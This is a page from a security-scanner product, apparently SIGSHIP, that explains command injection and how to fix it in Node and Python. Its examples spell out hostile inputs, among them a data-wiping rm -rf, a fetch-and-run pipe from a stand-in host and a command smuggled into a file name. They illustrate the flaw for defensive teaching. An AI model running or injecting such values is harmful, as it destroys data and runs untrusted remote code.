Launch weekSIGSHIP is on Product Hunt and LiftOff. 50% off every plan with code LAUNCH50 until Sunday 6 December (Solo monthly has its own founder offer): Pro is $74.50 and Business $249.50, paid once.Launch week: 50% off · LAUNCH50See plans →Plans →
  1. Home
  2. The 30 checks
  3. User input goes into a shell command
🌐 Website safety · Fix now (SEV-1)

User input goes into a shell command 

In plain English: Your server runs a shell command and pastes in text that came from a request, such as a file name or a web address. Someone can send a value with extra commands hidden in it, and your server runs those too. This is called command injection.

What happens if you ship it

Someone sends a value such as ; rm -rf ~ or $(curl evil.sh | sh) and your server runs it, with every right your app has.

How to fix it technical

Never build a shell command from request values. Use execFile or spawn with an array of arguments and no shell (in Python, subprocess.run with a list and no shell=True), and check each value against a list of allowed values first.

Let your AI tool fix it

Paste this into Lovable, Bolt, Cursor, Replit or Claude Code:

Prompt for your AI tool
Fix this problem in my project: User input goes into a shell command. Never build a shell command from request values. Use execFile or spawn with an array of arguments and no shell (in Python, subprocess.run with a list and no shell=True), and check each value against a list of allowed values first. Change only what this fix needs, then tell me what you changed and anything I have to do myself.

Check your app

Run npx sigship in your project folder. It reports this problem as shell-command-from-request, along with 29 other checks. Nothing leaves your computer. New to the terminal?

Questions

What is command injection?

Tricking a server into running commands by hiding them in input, for example a file name like photo.jpg; rm -rf ~. It happens when an app builds a shell command by joining text together.

How do I fix it in Node?

Use execFile or spawn with the program and an array of arguments, and no shell. Check each value against a list of allowed values first.

And in Python?

Call subprocess.run with a list of arguments and without shell=True, and never pass an f-string to os.system.

See every check · Jargon, explained